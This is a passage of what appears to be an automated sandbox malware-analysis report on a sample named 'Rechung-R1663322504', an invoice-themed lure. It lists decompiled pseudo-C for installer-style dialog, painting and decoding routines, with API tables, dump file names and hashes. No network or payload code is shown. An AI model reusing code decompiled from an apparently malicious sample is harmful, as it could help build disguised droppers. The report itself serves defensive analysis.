							_t493 =  *(( *( *(_t558 + 0x370ccc) + _t558 + 0x36fccc) & 0x000000ff) + _t558 + 0x36fbcc) & 0x000000ff;
							_a4 = _t493;
							_t263 = _t493 * 4; // 0x78b708
							 *((intOrPtr*)(_t558 + _t263 + 0x30)) =  *((intOrPtr*)(_t558 + _t263 + 0x30)) + _v64;
							while(1) {
								__eflags = _v64;
								if(_v64 <= 0) {
									break;
								}
								_t495 = _v68;
								__eflags = _t495 - _v72;
								if(_t495 >= _v72) {
									goto L48;
								}
								 *((intOrPtr*)(_t558 + 0xc38 + _t495 * 4)) = _a4;
								_v68 = _v68 + 1;
								_t303 =  &_v64;
								 *_t303 = _v64 - 1;
								__eflags =  *_t303;
							}
							_t465 = _v76;
							goto L110;
						}
						__eflags = _t465 - 1;
						if(_t465 != 1) {
							__eflags = _v68 - _v72;
							if(_v68 >= _v72) {
								goto L48;
							}
							_t496 = _t465 - 1;
							__eflags = _t496 - 0x10;
							if(_t496 >= 0x10) {
								_t631 = _t496 >> 4;
								_t322 = _t631 * 4; // 0xafc3a4
								_t583 = _t558 + _t322 + 0x370ccc;
								_t641 = (_t496 & 0x0000000f) +  *_t583;
								_a4 =  *(_t641 + _t558 + 0x36fccc) & 0x000000ff;
								__eflags = _t641 -  *_t583;
								if(_t641 <=  *_t583) {
									L144:
									 *_t583 =  *_t583 + 1;
									__eflags = _t631;
									if(_t631 <= 0) {
										L146:
										_t336 = _t558 + 0x370ccc; // 0xafc3a4
										_t500 = _t336;
										 *_t500 =  *_t500 - 1;
										 *((char*)( *_t500 + _t558 + 0x36fccc)) = _a4;
										__eflags =  *_t500;
										if( *_t500 != 0) {
											L151:
											_t349 = ( *(_a4 + _t558 + 0x36fbcc) & 0x000000ff) * 4; // 0x78b708
											 *((intOrPtr*)(_t558 + _t349 + 0x30)) =  *((intOrPtr*)(_t558 + _t349 + 0x30)) + 1;
											 *(_t558 + 0xc38 + _v68 * 4) =  *(_a4 + _t558 + 0x36fbcc) & 0x000000ff;
											_v68 = _v68 + 1;
											_t507 = E0040726F( &_v112, _t558);
											__eflags = _t507;
											if(_t507 != 0) {
												goto L48;
											}
											goto L152;
										}
										_push(0x10);
										_t644 = 0xfff;
										_t339 = _t558 + 0x370d08; // 0xafc3e0
										_t515 = _t339;
										_pop(_t588);
										do {
											_push(0xf);
											_pop(_t633);
											do {
												_t616 =  *_t515 + _t633;
												_t644 = _t644 - 1;
												_t633 = _t633 - 1;
												__eflags = _t633;
												 *((char*)(_t644 + _t558 + 0x36fccd)) =  *((intOrPtr*)(_t616 + _t558 + 0x36fccc));
											} while (_t633 >= 0);
											 *_t515 = _t644 + 1;
											_t515 = _t515 - 4;
											_t588 = _t588 - 1;
											__eflags = _t588;
										} while (_t588 != 0);
										goto L151;
									} else {
										goto L145;
									}
									do {
										L145:
										 *_t583 =  *_t583 - 1;
										_t645 =  *_t583;
										_t583 = _t583 + 0xfffffffc;
										_t631 = _t631 - 1;
										__eflags = _t631;
										 *((char*)(_t645 + _t558 + 0x36fccc)) =  *((intOrPtr*)( *_t583 + _t558 + 0x36fcdb));
									} while (_t631 != 0);
									goto L146;
								}
								_t327 = _t558 + 0x36fccc; // 0xafb3a4
								_t518 = _t327;
								do {
									 *((char*)(_t641 + _t518)) =  *((intOrPtr*)(_t641 + _t518 - 1));
									_t641 = _t641 - 1;
									__eflags = _t641 -  *_t583;
								} while (_t641 >  *_t583);
								goto L144;
							}
							_t643 =  *(_t558 + 0x370ccc);
							__eflags = _t496;
							_t311 = _t558 + 0x36fccc; // 0x761ae1
							_a4 =  *(_t643 + _t496 + _t311) & 0x000000ff;
							if(_t496 <= 0) {
								L140:
								 *((char*)(_t643 + _t558 + 0x36fccc)) = _a4;
								goto L151;
							}
							_t632 = _t643 + _t558 + 0x36fccc;
							do {
								 *((char*)(_t632 + _t496)) =  *((intOrPtr*)(_t632 + _t496 - 1));
								_t496 = _t496 - 1;
								__eflags = _t496;
							} while (_t496 != 0);
							goto L140;
						}
						goto L113;
				}
			}

0x0040693e
0x00406945
0x0040694b
0x0040694f
0x00406955
0x0040695d
0x00406b84
0x00406b86
0x00406b8c
0x00406b96
0x00406b96
0x00406965
0x00406966
0x00000000
0x00406973
0x0040697e
0x00000000
0x00000000
0x00406988
0x00406995
0x00406999
0x00000000
0x00000000
0x0040699f
0x0040699f
0x0040699f
0x00000000
0x0040699f
0x0040698a
0x0040698e
0x00000000
0x00000000
0x00000000
0x00000000
0x004069a3
0x004069a9
0x004069ad
0x004069b2
0x004069b4
0x00000000
0x00000000
0x004069ba
0x004069c0
0x004069c0
0x004069c3
0x00000000
0x00000000
0x004069c6
0x004069cc
0x004069d0
0x004069d5
0x004069d7
0x00000000
0x00000000
0x004069dd
0x004069e3
0x004069e3
0x004069e6
0x00000000
0x00000000
0x004069e9
0x004069ef
0x004069f3
0x004069f8
0x004069fa
0x00000000
0x00000000
0x00406a00
0x00406a06
0x00406a06
0x00406a09
0x00406a0c
0x00000000
0x00000000
0x00406a12
0x00406a17
0x00000000
0x00000000
0x00406a1d
0x00000000
0x00000000
0x00406a23
0x00406a2a
0x00406a2e
0x00406a33
0x00406a35
0x00000000
0x00000000
0x00406a3b
0x00406a3f
0x00406a42
0x00406a4e
0x00406a4e
0x00406a4e
0x00406a44
0x00406a44
0x00406a44
0x00406a56
0x00406a56
0x00406a56
0x00406a59
0x00406a59
0x00406a5d
0x00000000
0x00000000
0x00406a5f
0x00406a5f
0x00406a5f
0x00406a63
0x00406a66
0x00406a6e
0x00406a71
0x00406a71
0x00406a7a
0x00000000
0x00000000
0x00406a80
0x00406a87
0x00406a8b
0x00406a90
0x00406a92
0x00000000
0x00000000
0x00406a98
0x00406a9c
0x00406aa4
0x00406aa4
0x00406aa7
0x00406aa7
0x00406aaf
0x00406aaf
0x00406aaf
0x00406ab2
0x00406ab2
0x00406ab6
0x00000000
0x00000000
0x00406ab8
0x00406ab8
0x00406ab8
0x00406ab8
0x00406abb
0x00406abb
0x00406abf
0x00406ad4
0x00406adb
0x00406adb
0x00406add
0x00406add
0x00406ae5
0x00406aed
0x00406af4
0x00406af4
0x00406af4
0x00406af4
0x00406afa
0x00406afb
0x00406afb
0x00406b02
0x00406b08
0x00406b0a
0x00000000
0x00000000
0x00406b0c
0x00406b0c
0x00406b0f
0x00000000
0x00406b0f
0x00406ac1
0x00406ac4
0x00406acc
0x00000000
0x00000000
0x00406ace
0x00000000
0x00000000
0x00406b12
0x00406b19
0x00406b1d
0x00406b22
0x00406b24
0x00000000
0x00000000
0x00406b2a
0x00406b2e
0x00000000
0x00000000
0x00406b30
0x00406b34
0x00000000
0x00000000
0x00000000
0x00000000
0x00406b36
0x00406b3d
0x00406b41
0x00406b46
0x00406b48
0x00000000
0x00000000
0x00406b4e
0x00406b52
0x00000000
0x00000000
0x00406b54
0x00000000
0x00000000
0x00406b59
0x00406b60
0x00406b64
0x00406b69
0x00406b6b
0x00000000
0x00000000
0x00406b71
0x00406b74
0x00406b9f
0x00406ba6
0x00406ba6
0x00406ba6
0x00406ba9
0x00406ba9
0x00406bac
0x00406baf
0x00406bb7
0x00406bb9
0x00406bbb
0x00406bbe
0x00406bd0
0x00406bd0
0x00406bd2
0x00406bd5
0x00406c12
0x00406c12
0x00000000
0x00000000
0x00000000
0x00000000
0x00406bd7
0x00406bd7
0x00406bd7
0x00406bde
0x00406be1
0x00406be3
0x00406be7
0x00406be9
0x00000000
0x00000000
0x00406beb
0x00406bee
0x00406bee
0x00406bee
0x00406bee
0x00406bf1
0x00406bf1
0x00406bf6
0x00406bf8
0x00406bf8
0x00406bfc
0x00406bfc
0x00406c06
0x00406c07
0x00406c0a
0x00406c0d
0x00406c0d
0x00000000
0x00406bd7
0x00406bc0
0x00406bc0
0x00406bc2
0x00406bc2
0x00406bc6
0x00406bc8
0x00406bcb
0x00406bcb
0x00000000
0x00406bc2
0x00406bb1
0x00000000
0x00406bb1
0x00406b76
0x00406b7c
0x00406b7f
0x00000000
0x00000000
0x00000000
0x00406b7f
0x00000000
0x00000000
0x00406c9a
0x00406ca1
0x00406ca5
0x00406caa
0x00406cac
0x00000000
0x00000000
0x00406cb2
0x00000000
0x00000000
0x00406c51
0x00406c58
0x00406c5c
0x00406c61
0x00406c63
0x00000000
0x00000000
0x00406c69
0x00406c6c
0x00000000
0x00000000
0x00406c7d
0x00406c84
0x00406c84
0x00406c84
0x00406c87
0x00406c8a
0x00406c8d
0x00000000
0x00000000
0x00406c8f
0x00406c8f
0x00406c8f
0x00406c92
0x00406c92
0x00406c95
0x00406c98
0x00406cb7
0x00406cbb
0x00406cbd
0x00406d4e
0x00406d54
0x00406d59
0x00406d60
0x00406d63
0x00406d65
0x00406d68
0x00406d6b
0x00406d6e
0x00406d72
0x00406d75
0x00406d75
0x00406d7e
0x00406d80
0x00406d85
0x00406d86
0x00406d86
0x00406d8c
0x00406d8e
0x00406d95
0x00406d95
0x00406d98
0x00406d9d
0x00406da4
0x00406da5
0x00406da5
0x00406da5
0x00406da5
0x00406dad
0x00406dae
0x00406db0
0x00406db3
0x00406db3
0x00406db7
0x00406dc0
0x00406dc5
0x00406dc7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406cc3
0x00406cc3
0x00406cc3
0x00406cc6
0x00406cc8
0x00406cca
0x00406ccc
0x00406ccd
0x00406cd0
0x00000000
0x00000000
0x00406cd5
0x00406cd5
0x00406cdb
0x00406cdb
0x00406ce2
0x00406ce5
0x00406ce9
0x00406ceb
0x00406ced
0x00406ced
0x00406cef
0x00406cf1
0x00406cf3
0x00406cf3
0x00406cf5
0x00406cf8
0x00406cf8
0x00406cfd
0x00406d10
0x00406d1c
0x00406d23
0x00406d30
0x00406d38
0x00406d3f
0x00406d45
0x00406d45
0x00000000
0x00406cc3
0x00000000
0x00000000
0x00406c18
0x00406c1f
0x00406c23
0x00406c28
0x00406c2a
0x00000000
0x00000000
0x00406c30
0x00406c33
0x00406c3a
0x00406c3a
0x00406c3a
0x00406c35
0x00406c35
0x00406c35
0x00406c3d
0x00406c3d
0x00406c41
0x00000000
0x00000000
0x00406c47
0x00406c4b
0x00000000
0x00000000
0x00000000
0x00000000
0x00406dcd
0x00406dd4
0x00406dd9
0x00406dde
0x00406de0
0x00000000
0x00000000
0x00406de6
0x00000000
0x00000000
0x00406e01
0x00406e08
0x00406e0c
0x00406e11
0x00406e13
0x00000000
0x00000000
0x00406e1e
0x00406e21
0x00406de9
0x00406de9
0x00406dec
0x00406def
0x00000000
0x00000000
0x00406df8
0x00406dfb
0x00406e29
0x00000000
0x00406e29
0x00406dfd
0x00406dfd
0x00406dfe
0x00000000
0x00000000
0x00406f0c
0x00406f13
0x00406f18
0x00406f1d
0x00406f1f
0x00000000
0x00000000
0x00406f25
0x00000000
0x00000000
0x00406f40
0x00406f47
0x00406f4b
0x00406f50
0x00406f52
0x00000000
0x00000000
0x00406f5d
0x00406f60
0x00406f28
0x00406f28
0x00406f2b
0x00406f2e
0x00000000
0x00000000
0x00406f34
0x00406f37
0x00406f3a
0x00406f68
0x00406f68
0x00406f6b
0x00000000
0x00000000
0x00406f71
0x00406f76
0x00000000
0x00000000
0x00406f7f
0x00406f82
0x00000000
0x00406f82
0x00406f3c
0x00406f3c
0x00406f3d
0x00000000
0x00000000
0x004070d5
0x004070dc
0x004070e1
0x004070e6
0x004070e8
0x00000000
0x00000000
0x004070ee
0x00000000
0x00000000
0x00406e2e
0x00406e35
0x00406e39
0x00406e3e
0x00406e40
0x004071b7
0x00000000
0x004071b7
0x00406e4b
0x00406e4b
0x00406e4e
0x00406e51
0x00406e51
0x00406e55
0x00406b81
0x00406b81
0x00406b83
0x00000000
0x00406b83
0x00406e5e
0x00406e61
0x00406e64
0x00406e67
0x004070f6
0x00000000
0x004070f6
0x00406e70
0x00406e70
0x00406e73
0x00406e73
0x00000000
0x00000000
0x00406e79
0x00406e7e
0x00000000
0x00000000
0x00406e87
0x00406e8a
0x00406e92
0x00406e92
0x00406e95
0x004070fe
0x004070fe
0x00407103
0x00407105
0x00000000
0x00000000
0x0040710b
0x0040710e
0x00000000
0x00000000
0x00407114
0x0040711a
0x0040711b
0x0040711e
0x00407120
0x00407124
0x0040712a
0x0040712d
0x0040712d
0x00407134
0x00407138
0x00407142
0x00407143
0x00407148
0x00407148
0x0040714d
0x00407150
0x00407153
0x0040718d
0x0040718d
0x00407190
0x00407197
0x0040719a
0x0040719d
0x004071a0
0x004071a0
0x004071a7
0x004071aa
0x004071ad
0x004071ad
0x004071ad
0x004071b4
0x00000000
0x00000000
0x00000000
0x00000000
0x00407155
0x00407155
0x00407158
0x00407158
0x00407160
0x00407163
0x0040716d
0x00407174
0x00407179
0x00407180
0x00407182
0x00407188
0x00407188
0x00000000
0x00407155
0x00406e9b
0x00406e9d
0x00406ea8
0x00406ea8
0x00406ea8
0x00406ea8
0x00406eac
0x00406eb3
0x00406eb3
0x00406eb5
0x00406ee9
0x00406ee9
0x00406ee9
0x00406eec
0x00406eec
0x00406eef
0x00406ef2
0x00406ef7
0x00406ef7
0x00406ef7
0x00406ef7
0x00406eff
0x00406f04
0x00406f06
0x00000000
0x00000000
0x00000000
0x00000000
0x00406f06
0x00406eb7
0x00406eba
0x00000000
0x00000000
0x00406ec2
0x00406ed0
0x00406ed8
0x00406edb
0x00406edf
0x00406fa6
0x00406fa6
0x00406faa
0x00000000
0x00000000
0x00406f8a
0x00406f8d
0x00406f90
0x00000000
0x00000000
0x00406f99
0x00406fa0
0x00406fa3
0x00406fa3
0x00406fa3
0x00406fa3
0x00406e8f
0x00000000
0x00406e8f
0x00406e9f
0x00406ea2
0x00406fb4
0x00406fb7
0x00000000
0x00000000
0x00406fbd
0x00406fbe
0x00406fc1
0x00407000
0x00407003
0x00407003
0x0040700c
0x00407016
0x00407019
0x0040701b
0x0040702f
0x0040702f
0x00407031
0x00407033
0x0040704f
0x00407052
0x00407052
0x00407058
0x0040705c
0x00407063
0x00407066
0x0040709a
0x004070a6
0x004070aa
0x004070ba
0x004070c1
0x004070c8
0x004070cd
0x004070cf
0x00000000
0x00000000
0x00000000
0x004070cf
0x00407068
0x0040706a
0x0040706f
0x0040706f
0x00407075
0x00407076
0x00407076
0x00407078
0x00407079
0x0040707b
0x0040707d
0x0040707e
0x0040707e
0x00407086
0x00407086
0x00407092
0x00407094
0x00407097
0x00407097
0x00407097
0x00000000
0x00000000
0x00000000
0x00000000
0x00407035
0x00407035
0x00407035
0x00407037
0x00407039
0x0040703c
0x0040703c
0x00407046
0x00407046
0x00000000
0x00407035
0x0040701d
0x0040701d
0x00407023
0x00407027
0x0040702a
0x0040702b
0x0040702b
0x00000000
0x00407023
0x00406fc3
0x00406fc9
0x00406fce
0x00406fd6
0x00406fd9
0x00406fec
0x00406fef
0x00000000
0x00406fef
0x00406fdb
0x00406fe2
0x00406fe6
0x00406fe9
0x00406fe9
0x00406fe9
0x00000000
0x00406fe2
0x00000000
0x00000000

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a193266e69bcd6f31111a14bd521961d3cb5d5d3f38d470b452a54657028198
Instruction ID: 2995a3a458b0d39389fe90c056900e17587aec5c19fac007be2f5a032b1ea198
Opcode Fuzzy Hash: 9a193266e69bcd6f31111a14bd521961d3cb5d5d3f38d470b452a54657028198
Instruction Fuzzy Hash: 74429D70D042498FDB11CF98C480AEEBBB4AF15308F15846BEC5AEB2C2D738A951CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00404391 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00404391(struct HWND__* _a4, int _a8, unsigned int _a12, WCHAR* _a16) {
				intOrPtr _v8;
				int _v12;
				void* _v16;
				struct HWND__* _t56;
				intOrPtr _t69;
				signed int _t75;
				signed short* _t76;
				signed short* _t78;
				long _t92;
				int _t103;
				signed int _t108;
				signed int _t110;
				intOrPtr _t111;
				intOrPtr _t113;
				WCHAR* _t114;
				signed int* _t116;
				WCHAR* _t117;
				struct HWND__* _t118;

				if(_a8 != 0x110) {
					__eflags = _a8 - 0x111;
					if(_a8 != 0x111) {
						L13:
						__eflags = _a8 - 0x4e;
						if(_a8 != 0x4e) {
							__eflags = _a8 - 0x40b;
							if(_a8 == 0x40b) {
								 *0x79feec =  *0x79feec + 1;
								__eflags =  *0x79feec;
							}
							L27:
							_t114 = _a16;
							L28:
							return E0040425B(_a8, _a12, _t114);
						}
						_t56 = GetDlgItem(_a4, 0x3e8);
						_t114 = _a16;
						__eflags =  *((intOrPtr*)(_t114 + 8)) - 0x70b;
						if( *((intOrPtr*)(_t114 + 8)) == 0x70b) {
							__eflags =  *((intOrPtr*)(_t114 + 0xc)) - 0x201;
							if( *((intOrPtr*)(_t114 + 0xc)) == 0x201) {
								_t103 =  *((intOrPtr*)(_t114 + 0x1c));
								_t113 =  *((intOrPtr*)(_t114 + 0x18));
								_v12 = _t103;
								__eflags = _t103 - _t113 - 0x800;
								_v16 = _t113;
								_v8 = 0x7a69c0;
								if(_t103 - _t113 < 0x800) {
									SendMessageW(_t56, 0x44b, 0,  &_v16);
									SetCursor(LoadCursorW(0, 0x7f02));
									_push(1);
									E00404640(_a4, _v8);
									SetCursor(LoadCursorW(0, 0x7f00));
									_t114 = _a16;
								}
							}
						}
						__eflags =  *((intOrPtr*)(_t114 + 8)) - 0x700;
						if( *((intOrPtr*)(_t114 + 8)) != 0x700) {
							goto L28;
						} else {
							__eflags =  *((intOrPtr*)(_t114 + 0xc)) - 0x100;
							if( *((intOrPtr*)(_t114 + 0xc)) != 0x100) {
								goto L28;
							}
							__eflags =  *((intOrPtr*)(_t114 + 0x10)) - 0xd;
							if( *((intOrPtr*)(_t114 + 0x10)) == 0xd) {
								SendMessageW( *0x7a8a28, 0x111, 1, 0);
							}
							__eflags =  *((intOrPtr*)(_t114 + 0x10)) - 0x1b;
							if( *((intOrPtr*)(_t114 + 0x10)) == 0x1b) {
								SendMessageW( *0x7a8a28, 0x10, 0, 0);
							}
							return 1;
						}
					}
					__eflags = _a12 >> 0x10;
					if(_a12 >> 0x10 != 0) {
						goto L27;
					}
					__eflags =  *0x79feec; // 0x0
					if(__eflags != 0) {
						goto L27;
					}
					_t69 =  *0x7a0ef8; // 0xa5b304
					_t29 = _t69 + 0x14; // 0xa5b318
					_t116 = _t29;
					__eflags =  *_t116 & 0x00000020;
					if(( *_t116 & 0x00000020) == 0) {
						goto L27;
					}
					_t108 =  *_t116 & 0xfffffffe | SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
					__eflags = _t108;
					 *_t116 = _t108;
					E00404216(SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
					E0040461C();
					goto L13;
				} else {
					_t117 = _a16;
					_t75 =  *(_t117 + 0x30);
					if(_t75 < 0) {
						_t111 =  *0x7a79fc; // 0xa5dd06
						_t75 =  *(_t111 - 4 + _t75 * 4);
					}
					_t76 =  *0x7a8a78 + _t75 * 2;
					_t110 =  *_t76 & 0x0000ffff;
					_a8 = _t110;
					_t78 =  &(_t76[1]);
					_a16 = _t78;
					_v16 = _t78;
					_v12 = 0;
					_v8 = E00404342;
					if(_t110 != 2) {
						_v8 = E00404308;
					}
					_push( *((intOrPtr*)(_t117 + 0x34)));
					_push(0x22);
					E004041F4(_a4);
					_push( *((intOrPtr*)(_t117 + 0x38)));
					_push(0x23);
					E004041F4(_a4);
					CheckDlgButton(_a4, (0 | ( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
					E00404216( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001);
					_t118 = GetDlgItem(_a4, 0x3e8);
					E00404229(_t118);
					SendMessageW(_t118, 0x45b, 1, 0);
					_t92 =  *( *0x7a8a34 + 0x68);
					if(_t92 < 0) {
						_t92 = GetSysColor( ~_t92);
					}
					SendMessageW(_t118, 0x443, 0, _t92);
					SendMessageW(_t118, 0x445, 0, 0x4010000);
					SendMessageW(_t118, 0x435, 0, lstrlenW(_a16));
					 *0x79feec = 0;
					SendMessageW(_t118, 0x449, _a8,  &_v16);
					 *0x79feec = 0;
					return 0;
				}
			}

0x004043a3
0x004044c3
0x004044d0
0x0040452d
0x0040452d
0x00404531
0x004045f7
0x004045fe
0x00404600
0x00404600
0x00404600
0x00404606
0x00404606
0x00404609
0x00000000
0x00404610
0x0040453f
0x00404545
0x00404548
0x0040454f
0x00404551
0x00404558
0x0040455a
0x0040455d
0x00404560
0x00404565
0x0040456b
0x0040456e
0x00404575
0x00404582
0x00404593
0x00404599
0x004045a1
0x004045af
0x004045b5
0x004045b5
0x00404575
0x00404558
0x004045b8
0x004045bf
0x00000000
0x004045c1
0x004045c1
0x004045c8
0x00000000
0x00000000
0x004045ca
0x004045ce
0x004045de
0x004045de
0x004045e0
0x004045e4
0x004045f0
0x004045f0
0x00000000
0x004045f4
0x004045bf
0x004044d8
0x004044db
0x00000000
0x00000000
0x004044e1
0x004044e7
0x00000000
0x00000000
0x004044ed
0x004044f2
0x004044f2
0x004044f5
0x004044f8
0x00000000
0x00000000
0x0040451f
0x0040451f
0x00404521
0x00404523
0x00404528
0x00000000
0x004043a9
0x004043a9
0x004043ac
0x004043b1
0x004043b3
0x004043c2
0x004043c2
0x004043ca
0x004043cd
0x004043d1
0x004043d4
0x004043d8
0x004043db
0x004043de
0x004043e1
0x004043e8
0x004043ea
0x004043ea
0x004043f4
0x00404401
0x0040440b
0x00404410
0x00404413
0x00404418
0x0040442f
0x00404436
0x00404449
0x0040444c
0x00404460
0x00404467
0x0040446c
0x00404471
0x00404471
0x0040447f
0x0040448d
0x0040449f
0x004044a4
0x004044b4
0x004044b6
0x00000000
0x004044bc

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040442F
GetDlgItem.USER32(?,000003E8), ref: 00404443
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404460
GetSysColor.USER32(?), ref: 00404471
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040447F
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040448D
lstrlenW.KERNEL32(?), ref: 00404492
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040449F
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004044B4
GetDlgItem.USER32(?,0000040A), ref: 0040450D
SendMessageW.USER32(00000000), ref: 00404514
GetDlgItem.USER32(?,000003E8), ref: 0040453F
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404582
LoadCursorW.USER32(00000000,00007F02), ref: 00404590
SetCursor.USER32(00000000), ref: 00404593
LoadCursorW.USER32(00000000,00007F00), ref: 004045AC
SetCursor.USER32(00000000), ref: 004045AF
SendMessageW.USER32(00000111,00000001,00000000), ref: 004045DE
SendMessageW.USER32(00000010,00000000,00000000), ref: 004045F0

Strings

Call, xrefs: 0040456E
N, xrefs: 0040452D

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: 631cabfc39bdc86844b6c5ef759f4df1482c42644a70fa64dc4549b5ea516eb1
Instruction ID: 51cb052740ae368b0964ded38bc47e0fd82963d20e12a5d8f79ead0afd290bbe
Opcode Fuzzy Hash: 631cabfc39bdc86844b6c5ef759f4df1482c42644a70fa64dc4549b5ea516eb1
Instruction Fuzzy Hash: 636190B1900209BFDB10DF60DD45AAA7B69FB85344F00853AF705B61E0DB7DA951CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x7a8a34;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectW( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextW(_t128, "Susans", 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x7a8a28;
				}
				return DefWindowProcW(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
